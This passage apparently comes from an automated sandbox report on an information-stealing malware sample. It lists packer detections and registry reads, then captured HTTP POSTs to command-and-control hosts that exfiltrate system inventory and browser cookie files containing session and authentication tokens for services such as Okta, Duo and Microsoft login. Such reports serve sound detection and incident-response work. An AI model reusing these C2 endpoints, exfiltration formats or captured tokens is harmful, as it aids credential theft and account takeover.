"??0?$_Yarn@G@std@@QAE@ABV01@@Z" at ordinal 7 "msvcp140.dll" contains export function called "??0?$_Yarn@G@std@@QAE@PBG@Z" at ordinal 8 "msvcp140.dll" contains export function called "??0?$_Yarn@G@std@@QAE@XZ" at ordinal 935:T1335,"onLevel level="requireAdministrator" uiAccess="false" /> A list of the Windows versions that this application has been tested on and is designed to work with. Uncomment the appropriate elements and Windows will automatically select the most compatible environment. --> Windows Vista --> --> Windows 7 --> --> Windows 8 --> -->" (Indicator: "select") " Windows 8.1 --> --> Windows 10 --> --> Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. Makes the application long-path aware. See https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation --> true A list of the Windows versions that this application has been tested on and is designed to work with. Uncomment the appropriate elements and Windows will automatically select the most compatible environment. --> Windows Vista --> --> Windows 7 --> --> Windows 8 --> -->" (Indicator: "select") " Windows 8.1 --> --> Windows 10 --> --> Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. Makes the application long-path aware. See https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation --> true Microsoft Corporation" "softokn3.dll" was detected as "Borland Delphi 3.0 (???)" "setup331_1_.exe" was detected as "VC8 -> Microsoft Corporation" "t1Zbrj1itpE9fbhbR3AqjWey.exe" was detected as "VC8 -> Microsoft Corporation" "freebl3.dll" was detected as "Borland Delphi 3.0 (???)" "A02FZXMsOhT8vUffJfmsE6xk.exe" was detected as "MPRESS v2.00-V2.0X -> MATCODE Software * 20090423" "setup_1_.exe" was detected as "Overlay" "msvcp140.dll" was detected as "Borland Delphi 3.0 (???)" "nss3.dll" was detected as "Borland Delphi 3.0 (???)" "WNst4DDcz7SNmvPN7EHhdVA3.exe" was detected as "VC8 -> Microsoft Corporation" "6523_1_.exe" was detected as "VC8 -> Microsoft Corporation" "C8_Qu2FeVDw2iL7F0qC52rTI.exe" was detected as "VC8 -> Microsoft Corporation" "h_26wPXBLIlKW3_tlCXuCIgV.exe" was detected as "Microsoft visual C# v7.0 / Basic .NET" "softwinx86_1_.exe" was detected as "VC8 -> Microsoft Corporation" "nnmmo1115_1_.exe" was detected as "VMProtect v1.70.4-> phpbb3" "mozglue.dll" was detected as "Borland Delphi 3.0 (???)" "SplitFiles119.exe" was detected as "Microsoft visual C++ 5.0" "i5NUMaNH2togQeBv7Jyo6PpD.exe" was detected as "VC8 -> Microsoft Corporation"45:T59a,"Install.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Install.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Install.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "Install.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "Install.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "InstallUtil.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "InstallUtil.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "InstallUtil.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "InstallUtil.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "InstallUtil.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NATION") "mgfDPgPzpR3n3eooxTPENoOw.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "mgfDPgPzpR3n3eooxTPENoOw.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "kjwAiplIbNHDVZjcXieXEHoy.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "C8_Qu2FeVDw2iL7F0qC52rTI.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "mEQEEcMv6bzG8imTAK2Rvxfq.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")46:T5fb0,"POST /api/firegate.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 413 Host: 208.67.104.60" with payload::==> "data=weMzZhOp16RZuOJnyBLTTQBpWItLpzCu08OWLVZRgscGPel1pSva9OraC8dTxebaWDZWSbp-vdRmrN14oxd89jd6f5l8nBFBcSDoXWwKITXbtCY-fHPUA947uadrSk1fvbLyhFBhJ9zxZvqwZxFDmUndQglO0rVJdV_gCP1cCVOElrXk4aiVu548O1z5jg8NOG1aWvrfBSEn1zynL1_aGrgLje_IKg1ifU_lcdYk8rd7DJtWe_ezWjEMN5YyO5BNYovgVo6r0O39W3v81f9PavufbVxJPTq4nIZ_HDHygiyHxBipt9_gSH4vY8oXPCQDX-netg0n_NKQm2BhQcEtSgu9mRyRAkmATcwhlbJJc0W7d0f1nqiE09hSC5rP1OZs1hIDsHAxP3MhOf66SWzW4w==" "POST /api/firegate.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 133 Host: 208.67.104.60" with no payload "POST /api/firegate.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 517 Host: 208.67.104.60" with payload::==> "data=1WHJ_eOBlcWFOZYpmgCQKoaMD45AH1Sv43nDvKtQmJTkA1EJiHPKVhiv-5_OYZTkLQ2lPVHfHJTLk7b17Ta_Jw96fV0Z_CVJwmng1ub_8HcAM4HjvM9e7f4a07G1Hn36JSUCF9YvDCl8kpnxiDRg-N7guiIU1JL4BYDlG1OsT0ELQO5c3pWg5k9ZMlASsM7yKnXZIJx9-vRKrP3OxJcMnKHV-gsqHVH_lN4j6qrLUj8vVivspw_F6Zup82AFotnQRwIr8_RBtUGZm4JqIZ_eHyGneVCxpsb0V5FWUFLSAWCqzKK5DnTb9kxgLg2e5_i6wNJuz59k1oRV_uoWBGf328P5pswVUlAqVovcE8d-5nsnNmc-Maa-RY93VaXWe58Vyg_ZtexYDPpW7gnWVYHzPdYlfHLZQiGJvNRhvT-MYzYC9JC-DqcXbyANDLTjXd2qPslSQUqw44E9NAMSHH1_k0QDeBZwL4B7322JZ9lwGhAefXt1im47asz1oe1Awc_Z" "POST / HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: 23591 Host: 45.15.156.105 Content-Length: 96 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "machineId=a3d27cfa-1e7a-4ff8-8004-2be13417b6b1|iU35TUU&configId=64b445f2d85b7aeb3d5c7b23112d6ac3" "POST / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP Example/1.0 Content-Length: 0 Host: 65.21.213.208:3000" with no payload "POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=T4Kv0vF8BFKujgpE User-Agent: 23591 Host: 45.15.156.105 Content-Length: 2229 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "--T4Kv0vF8BFKujgpE Content-Disposition: form-data; name="file"; filename="System Info.txt" Content-Type: application/x-object System Information: - Locale: English - Time zone: - OS: Windows 10 Pro - Architecture: x64 - CPU: Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GH (4 cores) - RAM: 4095 MB - Display size: 1024x611 - Display Devices: 0) VirtualBox Graphics Adapter (WDDM) Installed applications: Microsoft Office Professional Plus 2010 14.0.6029.1000 UpdateAssistant 1.19.0.0 Windows Setup Remediations (x64) (KB4023057) Microsoft Office Access MUI (English) 2010 14.0.6029.1000 Microsoft Office 2010 Service Pack 1 (SP1) Microsoft Office Excel MUI (English) 2010 14.0.6029.1000 Microsoft Office PowerPoint MUI (English) 2010 14.0.6029.1000 Microsoft Office Publisher MUI (English) 2010 14.0.6029.1000 Microsoft Office Outlook MUI (English) 2010 14.0.6029.1000 Microsoft Office Word MUI (English) 2010 14.0.6029.1000 Microsoft Office Proof (English) 2010 14.0.6029.1000 Microsoft Office Proof (French) 2010 14.0.6029.1000 Microsoft Office Proof (Spanish) 2010 14.0.6029.1000 Microsoft Office Proofing (English) 2010 14.0.6029.1000 Microsoft Office Office 32-bit Components 2010 14.0.6029.1000 Microsoft Office Shared 32-bit MUI (English) 2010 14.0.6029.1000 Microsoft Office InfoPath MUI (English) 2010 14.0.6029.1000 Microsoft Office Shared MUI (English) 2010 14.0.6029.1000 Microsoft Office OneNote MUI (English) 2010 14.0.6029.1000 Microsoft Office Groove MUI (English) 2010 14.0.6029.1000 Microsoft Office Shared Setup Metadata MUI (English) 2010 14.0.6029.1000 Microsoft Office Access Setup Metadata MUI (English) 2010 14.0.6029.1000 Update for Windows 10 for x64-based Systems (KB4023057) 2.53.0.0 Adobe Flash Player 32 NPAPI 32.0.0.101 AutoIt v3.3.14.3 Microsoft Edge 103.0.1264.37 Microsoft Edge Update 1.3.171.37 WinPcap 4.1.3 4.1.0.2980 Java 8 Update 161 8.0.1610.12 Java Auto Updater 2.8.161.12 Split Files 3.119 Microsoft Visual C++ 2015 x86 Additional Runtime - 14.0.24215 Adobe Reader XI (11.0.20) Microsoft Visual C++ 2015 x86 Minimum Runtime - 14.0.24215 Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 14.0.24215.1 --T4Kv0vF8BFKujgpE--" "POST /api/firecom.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 25 Host: 208.67.104.60" with no payload "POST /check/?sid=106709&key=4cf313bd46299270a2e49e1b12fc6851 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.42 Content-Length: 160 Host: aaa.apiaaaeg.com" with no payload "POST /api/firecom.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 73 Host: 208.67.104.60" with no payload "POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=ra3E69oTW5vs7ym2 User-Agent: 23591 Host: 45.15.156.105 Content-Length: 7115 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "--ra3E69oTW5vs7ym2 Content-Disposition: form-data; name="file"; filename="\cookies.txt" Content-Type: application/x-object .msn.comTRUE/FALSE13329336817727176_EDGE_VdjEwFKPuXaKkvpPETYDyhUL3J42pmw7KAF6CSEd0fWA= www.office.comTRUE/TRUE13327176823150979OH.FLIDdjEws8NdG3GbU3IL5qBxIay96qeF45znSVZ0q2qNOjV2pyKLJ1JS3oXVShK4MB0sKCsb9QE4iVD2Ite0T6viZwF/+Q== .youtube.comTRUE/TRUE13311192822245808VISITOR_INFO1_LIVEdjEwrCHx079pq+UcLo7ocYih6wPVWi1URU1SMet9ETU4g5mL3BaH2JXL .facebook.comTRUE/TRUE13358712822285681sbdjEwNJ0hGL4hIdBgxqJ6FWeVt3mf4w4SycXAr48fuaCwbvdWF74GN4pDLgBENzzAxs/cC2ECWQ== .amazon.comTRUE/TRUE13327176822310972session-iddjEwYA+sWDd/93M8xuZcqyE/of/zBkihfCa+/GZ9wpGyZXzcGMlwgvVWuRsrwSttwuc= .amazon.comTRUE/TRUE13327176822311057session-id-timedjEwLd0tyfPBOKiT7F9HOUA2iobg7rHzS/MzOdlFra3+WjdZl+fJ7Q+M .amazon.comTRUE/FALSE13327176822311092i18n-prefsdjEwbNjfWtrWLdADi13mSL9qSyxtntwh+HhcqdkhBfoEgw== .amazon.comTRUE/TRUE13327176822311124sp-cdndjEwIGS+hCavhcCZc9gF9vnoZlds/8ipXL1cKAMqv/cIoXlEpy9lSw== .ebay.comTRUE/TRUE13358712822585598dp1djEwO+zF1cbJfsY624GvrmvieZvtJj4cEO6riouTc1LwEfcCaUOkMl2t0d1KEA== .ebay.comTRUE/TRUE13358712822585868nonsessiondjEw9PLfFVSdiuZjZlfdKfdJKOAKpqySvRP+6kaFASm1GTQ8C596lsA9SQK+TawZxmki13YmDLQrldYhRu9nQHufAFzWL1s9DPTJ+mZbYWyvvH+Xyh/I2HLTY2bR/T41r0MJxBK7yCZJUbrGWMJMmX/C5fK9X0qM5OXf2AZDtO3QZpr3PVoDYnfcswXbda+YxqvTO3q+0I1J6GJWs9JusQ== .ebay.comTRUE/FALSE13311192822586113__debadjEwbCciEyWKXgBEtXWOzp9LPUT6x4T3Y7ziR/ZB4v88owLlDUv7O709Rkv7oBk0+NYvFIhuMPztklV1iVD2ASGUwbXB4UbOOr65MZ4FIRgL9Vt6O+dYwmu5V0nm5FYeoJ5636lGaCimxYfSsA2mf7VRNeF3Ul84AnW7+Yt2vcupZ3+ZK5P73NoSqOv6I2SYqiK891+rYniQ61yl3mWD outlook.live.comTRUE/TRUE13327176822679299ClientIddjEwBY8gjEKYHRVHzp7dgWlq/gXtddf2Ex+LDL4ZPIJiHBvF2E0qnOv3xuzTAuKpiIO6x5+r4vl5j8O8519Y .ups.comTRUE/TRUE13327176824216732_abckdjEwq1MZePmWbB1Idht55T9ei4G/gy5J1tH207OTlHlKyXANZOx/ePhSG+qffMh7VeOpSq1mbwvbqTHt3M+nhBlX5BFOOcpljHkWUyDzNUM2+gt/XZ8JzUO6j1odH+I47Uhr0Q4j0j2zLJ3Phxj84DnmA1J3xK7RgBnpbOybVtk0q8+YrubGAjhe1S5hpP7ND8HTitnCDGvl9aHF776AiOHi5btyAfrbPq3L95cluNGSRJMTXJaLQ5X+T2xoqPFDDdjxZ1SenACsGp7vyAvsburc/Wp7IzqYKeRjAkjiQtgOw73JTgiFfPCMluvlebcHdijKX5sBYghJ7vPs1aA3Xuak/MveFd1uEWExf6KvRAOmrqzGcD0inoVNOCSn1Xy6Jtvo3IwNfuubC9hrhBtv28pxy987KG8ZOy1Ww/b4gmLO+xuZwNWzKySpN8qOkIStOilLwXbPjUJBUzBLm6HGZBVG4GAP6xZKbJh359Pive2YzhhfeJtdZ/VWcBkoAHXwhuUTcLwYUMEoJA6vpO0cs/QWbCOfNgnUnxmwV8LevPft4667qCI+X+6UVxSGeFVxWemix49qI7W/3OFQD9nfJvA85DM= .msn.comTRUE/edgeFALSE13316618579000000pglt-edgeChromium-ntpdjEwByMAOBarXTNkc16I8oN6ZvfWaG9FSDftcLzunls8WPs= .ups.comTRUE/TRUE13358712825609486ups_language_preferencedjEwa4GMd9b636HLWR4cSAs0Oy0labPKNnJSA/+vSKjZkctr .mgid.comTRUE/TRUE13791957247389134muidndjEwxqDRnh2gZop9pjMnG1zat4fQ1C3DEbeDP+biWjfu6ySpjIxBJZP3FA== .facebook.comTRUE/TRUE13358712838000000_js_datrdjEwfSkAx/PZDnLJVFFNheATId3vaRl5zPObQeGj3rVA4uIwFwqeEP4w7tIEbhw5wS1zI5AgWQ== .msn.comTRUE/FALSE13327176844000000_SSdjEwoGo7WvhFVntnHUqK82aFSiGokyoFvyXZZQBlGv1Sx8hOlA== .ups.comTRUE/TRUE13358799249000000AMCV_036784BD57A8BB277F000101%40AdobeOrgdjEwH7q8b3k9y1XH9CgH9Qp0aejToN0Kk9fq48YrRhBfUNu62OzaBUYpbRIH+2mh3EA/iC4CL0Ym/OD0srYDpG7HZ3NOZavd8yBnKhJx .microsoft.comTRUE/FALSE13329820851000000mboxdjEwsqxTdI38Ehi87JV+oPlXIRh/3Zh/Hd2lkNuPuv4PsWC5IZlV8ip6nx9jwIDwkdJJsD6TcuQyJtOMWVrBiwSgmD6y7gGv7bvFL4uunmcuNFH/ij6EnpC48ZPIcDfd5/0Wzpdk6c7V9bIRCPBkFgELeDmcceM+x0DhL1mG0GAPj5UZFxw= microsoftedgewelcome.microsoft.comTRUE/TRUE13327176851058697MicrosoftApplicationsTelemetryDeviceIddjEwjPtZfqw1LHTUG2wPeDWQ6HkS50Znek96KyGSZSrcoqnSL11+39JEYIbIMtqg4MpAuiQ/yAhBYf3F0JYqs/YyJA== www.clarity.msTRUE/TRUE13327176854954710CLIDdjEwGhcbHoH5BOWVh1y+mUhktH0Kf5Jk0yOWp3ZdTMHyuL9xuKO8cIbFda6NaN3tRDre0C4aIxWj4vhKIvW/4YBw8rfdf1gF0xLYdhfZ2jwG .mediago.ioTRUE/TRUE13390248874223579__mguid_djEw4RW9frFl0XEpXkPmiGTjP+O+SeOjPlQ1nuXiBvg62PyhUUVE27DOSU/OqDNM6KMv6Ua2pO3MwzOmcabC .pippio.comTRUE/TRUE13327176874466473diddjEw2v3S2QWm1KJrwsJzb8hVgpuzIXWe0R7eeoNAXx2g+aYBVF3MaCz+hswsnmo= .pippio.comTRUE/TRUE13327176874466584didtsdjEwp6qjzb1pH0fP0hc/HtKxl7lyQh00m1vc552qBN6yKGYqghqxNSM= .bing.comTRUE/TRUE13358799274860912SRCHDdjEwXHW2Da23eUsd/uhqRDIwYYRcBW370R3Dv2KrcRQIhpP5WbWoaw== .bing.comTRUE/TRUE13358799274860947SRCHUIDdjEw0J3/9QAXin3nIMkAv9y26HRw5Vag0vPz6SDnZyPtroNd/cgBIXQ/YevhaRh2DKo3TJjjVBle02oqas8WwIvAFI8ddpAWNqjfd8MLdJEE .bing.comTRUE/TRUE13358799274860982SRCHUSRdjEwoZgMFIoUG68YCa87qJjTsiISjkJ2cxmghBFL+qO57JtRHSgxOgz6DQ== .bing.comTRUE/TRUE13358799274861017SRCHHPGUSRdjEw1sVlSWwVB8WCzr32J1+tHBJB1/PD/qqMdRSc3dT3ULXIYWGAokL0 .msn.comTRUE/TRUE13364052107079527USRLOCdjEwMH9M3/nuEtKM8WDjmN0yPKwQPNS0w6/CkH/NIA== ntp.msn.comTRUE/FALSE13364052171435219sptmarketdjEwYKs9GrOFmENfMelbiW96cH7ISe2RBkJeP4bt0Ev/8COPXddlSKUgHZccuLg8aLI0y3o= .c.bing.comTRUE/TRUE13304441723880397MRdjEw8Kf0xqQYvQp3Z759qhgBFHv3OUcoxx1NVfe/3pU= .c.msn.comTRUE/TRUE13304441723981801MRdjEwexlKfZypb4FlwAoxwrbaUEzOF2NyNMiE697apQ0= .bing.comTRUE/TRUE13337532923880236MUIDdjEwZAjbj8AZ2Yb+hYvneyu6k6bpqTcLxkoEEutDes9izCcpTcxJw9eZK8D7rcJOaMyFjaegIwS6RGJGJlIX .msn.comTRUE/TRUE13337532923981677MUIDdjEw1dOCh1WaEL4KUFMQAFHOpgpEY7jPv6cP95Bn9Rwuw6YGcw5jBwY+M4vxmrdIDBHBC+vAKDRB6q8I9Pre .c.bing.comTRUE/TRUE13337532923880472SRM_BdjEwgpfIFduerEbXjPIN4APD8LaWmc8KpnjWDUM9+h4EjZpzveMXKrAjdg0MCyXGk4YNWgbpZkU9XAtOY6ue .c.bing.comTRUE/TRUE13337532923880540SRM_MdjEwl/KEkmwwJQgCGfKXiZUML2X96UemeJC1z4p0bKFKDE7jpLmavVFEmipXOItQFyS6rUM5L/5pjFRANBh5 .c.msn.comTRUE/TRUE13337532923981744SRM_MdjEwHNFtvr1AT6GcoH1fwE1h5dxQslPLN1NeO07wCXk1wFpNECHsmJt4ItiX4abupCpXaHPQVAqJpwZQfQsM .bing.comTRUE/TRUE13366995328784926USRLOCdjEw9/Ve3+dM7cxlTxQf1s3yBGv8Bi0Dd/VDoQBa1lH6Evc= ntp.msn.comTRUE/FALSE13303923325000000msaoptoutdjEw00nWw9ob6rYhMb7k5/dKz1MNh+SGkdE6WA6mCK4= .c.msn.comTRUE/TRUE13303861791568729ANONCHKdjEwO4boexYlL7fq1Re6iTAFsOyCIce2XVTlcjJnBMI= ntp.msn.comTRUE/TRUE13335397189865684MicrosoftApplicationsTelemetryDeviceIddjEww0Srh7OiMZsdl0yZeVO9Y0BrlDwiyZzoIscB55UmXFsCjtkRG7/W7jwSxCrFbX+7Y1EDoTIkIOJX0cwg67qS3A== .scorecardresearch.comTRUE/TRUE13366069189950011UIDdjEwgrLB1TC5nu3M14zxq+fHd5qaU/Nzw9s4H5D8o5ZXjjMS6z1sFY4GIIlPvK7AbDyMjWy1CKmGKMc1NZeTxA== ntp.msn.comTRUE/TRUE13303862990000000ai_sessiondjEwjx4a/1ItOH1oNWbU0pJUDnGe9WCw9NPg4Mdg2K2HoTgbX3QTeTo6xaBaEj/MOjzUMgv9bhloNHIvkaF4OyyBfv4rTHHtm3I9sr0QHnBD .msn.comTRUE/edgeFALSE13319585989000000pglt-edgeChromium-dhpdjEwMWUkFCytu+EQts8JUD640ec8Yk9xnVi6aogTT0zAOeY= .pippio.comTRUE/TRUE13309045196280648pxrcdjEwr4lblU0Yglnys4zwOD/9d5p7w0hQO1FyRozgzKsMs2dOcvmJiiQIne/Uev1JByDnGGfnGihIquc= C:\Users\iU35TUU\AppData\Local\Microsoft\Edge\User Data\Default|tB9T/XyR7rQWd8i0MVB6px2KjfP0LeViW311oWMiuEI=|103.0.1264.37-64 --ra3E69oTW5vs7ym2 Content-Disposition: form-data; name="file"; filename="\CC.txt" Content-Type: application/x-object C:\Users\iU35TUU\AppData\Local\Microsoft\Edge\User Data\Default|tB9T/XyR7rQWd8i0MVB6px2KjfP0LeViW311oWMiuEI=|103.0.1264.37-64 --ra3E69oTW5vs7ym2--" "POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=L4Qm2L14t7NE7Ciw User-Agent: 23591 Host: 45.15.156.105 Content-Length: 11805 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "--L4Qm2L14t7NE7Ciw Content-Disposition: form-data; name="file"; filename="\ffcookies.txt" Content-Type: application/x-object .mozilla.orgTRUE/FALSE1520275059_gat_UA-36116321-11 .mozilla.orgTRUE/FALSE1583347002_gaGA1.2.12219564.1520275000 .mozilla.orgTRUE/FALSE1520361402_gidGA1.2.411848676.1520275000 .mozilla.orgTRUE/FALSE1520275099_galiskip-button .google.comTRUE/FALSE1534048070OGPC19005936-1: .google.comTRUE/complete/searchFALSE1547608854CGICCgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA .google.comTRUE/searchFALSE1547608854CGICCgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA .google.comTRUE/verifyTRUE1547382379SNIDAGRGHO6QHrVrOxLFGr7rk0whYmanv-Yt0NiPe4u_HLWSmwvfuRb9rKBMkf6HQNvTewpJ2Op8iY-pGQ773aac visualstudio.microsoft.comTRUE/FALSE1534422385_icl_visitor_lang_jsen visualstudio.microsoft.comTRUE/FALSE1534422389VSCOMGeofalse .microsoft.comTRUE/FALSE1563366389MC1GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646 .microsoft.comTRUE/FALSE1531832189MS095c7cc889f304134945b37edd6a8a421 visualstudio.microsoft.comTRUE/FALSE1563366389MSFPCGUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646 crowdstrike.okta.comTRUE/TRUE1594902411DTDI0CAq6_IhTSTqow2RunhKcdw crowdstrike.okta.comTRUE/FALSE1531830724oktaStateToken00tWCcr55PVItt5EgoafFC8V8rYoCmZ7mVPUz0Sfff api-81556a20.duosecurity.comTRUE/TRUE253402300799trc|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86OEPZEC9PWG6PELMQIT1R3 api-81556a20.duosecurity.comTRUE/TRUE253402300799hac|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O|64.124.12.162|1531830438|a70d281e4438b3d8bfe84f32a61684be948d3b62 crowdstrike.okta.comTRUE/FALSE1531830468ADRUM_BTa"R:50|g:d865668d-daca-410a-92ff-c44770628b5a|n:Okta_6d5b1e30-d05a-4894-a37b-81b5f6c60e0e" crowdstrike.okta.comTRUE/FALSE1531830468ADRUM_BT1"R:50|i:11276|e:63" crowdstrike.okta.comTRUE/TRUE1563366439proximity_0371cacd3c86c11110ce4a7c15c77e19AMZGnO6o/2MBiNoUnYqDF4QuXiAX2tjRZ3EZEWkyQNBJpqvois7unYHbEn9CQk1aRt/dDJ62exueVegL+oeH32etEMYRBZ4mZ5mnucIAjGB7oQDm7xzGBvsn4EOVfUmfP2WoF3BIFXcM/eUVl+BIXrSqz8k2jgHuV2LneZmwtRT4FDljwMnA/ykCkZUy/au0 .login.microsoftonline.comTRUE/TRUE1539606443ESTSAUTHPERSISTENTAQABAAIAAADXzZ3ifr-GRbDT45zNSEFEqN3lcIcVk_txN002M0aSKQ3vHW-KKOvT0l2FZ5krXRiGe96TPP0Tcdc6aThD24EQH8XwfNYwKzYh6BSJahL-oq-FqtQOVLX6IP0IHlIhxw-Ihyfe0FqrqvTD43U2Y61kdV9Rw3nKJ-o84ELeq6SnuvDQVWEa0gLrhMj6Ik1XYwnl7l6WaT97koJKqKiVkJ1iuYOGM14-4P5Z0RrE80sH9UpU7lILLtXYP0YzVKWnoa-Uwe0dHjL9vSG_PkueznTUAxucsJQk2oUrzIlA1yJUM3SeE_SorL1eWJCWTxwzllEh9ehA55c3PSRxk6_tWpa_Hl9sKQE0AZGVFdH8TNX5OBttLH77N-umvMYVf2FDyTSviNUBGpfuL_nFmLZBw9B8Qwkp7iLFzpMZ_uJIYFzR6AgqEWS-_empWfontUAITrgfrGEpEMBVFXl9OtIHHwXlpol4NUzw6qDIhTaTr_xSOrzPhBOGBZarDixDjEMzYL77D8X2dlwK7zPHgdu0TwDgJ7V_VMbnhivHTN50xlFCMutxdLodQe0yneDFsxtWkDZi-Rl39EBMbfH9HvKOxlkjE5GFIPxcCFvOSHqdohyPLKcqLzR2pHQU3etiM10t3NkgAA login.microsoftonline.comTRUE/TRUE1534422443buidAQABAAEAAADXzZ3ifr-GRbDT45zNSEFERgmHaE21nvvOTVY2_75NkZGI-YsBWBOulFAsZCsrrazoD5DQYQgBT_JZuf__eWQggSLq9PdegrrzFZkXIh3A2gMy_FuhlXOW57d9R1-d9Uuti08zZmHg5eKAHcXs5BhZVzGDuYQQwVXl-TJShRyYQXZ3-1bRaTsFO7WjwrAFzCEgAA .login.microsoftonline.comTRUE/TRUE1534422143CCStateQ3VjRENrUnRZWEpqTG5KcGRtVnliMEJqY205M1pITjBjbWxyWlM1amIyMThZWEJ3T2pRNU9XSTROR0ZqTFRFek1qRXROREkzWmkxaFlURTNMVEkyTjJOaE5qazNOVGM1T0JLVEF6Q0NBWThHQ1NxR1NJYjNEUUVIQTZDQ0FZQXdnZ0Y4QWdFQU1ZSUJTRENDQVVRQ0FRQXdMREFWTVJNd0VRWURWUVFERXdwTlUwbFVJRU5CSUZveUFoTldBRkFQYkxqbkNEUUZXZllJQUFBQVVBOXNNQTBHQ1NxR1NJYjNEUUVCQVFVQUJJSUJBR08rUElFbUptYm5JUllvRjRXRXNxZ2l4VXFFTmJNd0V4TnpFQW1FbHRZa2dYRnZNOXV1MnBCTmVmV0ZxWEhTTHlUSklUaE1UcUhrUW9OemYwUndpN2pLVTZFUXd4V0UweitoQmxoc29DNlExRFI5NjFDR2pydnZCMkgvOTBYbEJYY2l5YTdtVTQvd0xPcDJ6M0R0UFR0N0k5TDU3bGNyM29lL2RGL1E5dElFM21QSks3NmlpK2I1M25wTXYrNEE0WXRNTVdwUUdjVGZMYkd6R3plamV0MVJKZUNkaTVIUk5tRzB5b3ArOUMwTExhSCttNmI2UGlCMG5GdmcrMWk4bFV3dnhFZW84dnhxU25xLzYzd1hyTUlHMzM4cVNWeTh2Mm92MmtPSjRvVW5rOG9QU1YyWTZmQldEcDZ5VHFRanU0Sy9WRFU3VVNvbkt1MzRiMU93WWswd0t3WUpLb1pJaHZjTkFRY0JNQlFHQ0NxR1NJYjNEUU1IQkFnQ0JldldwU3c2UVlBSUxlbm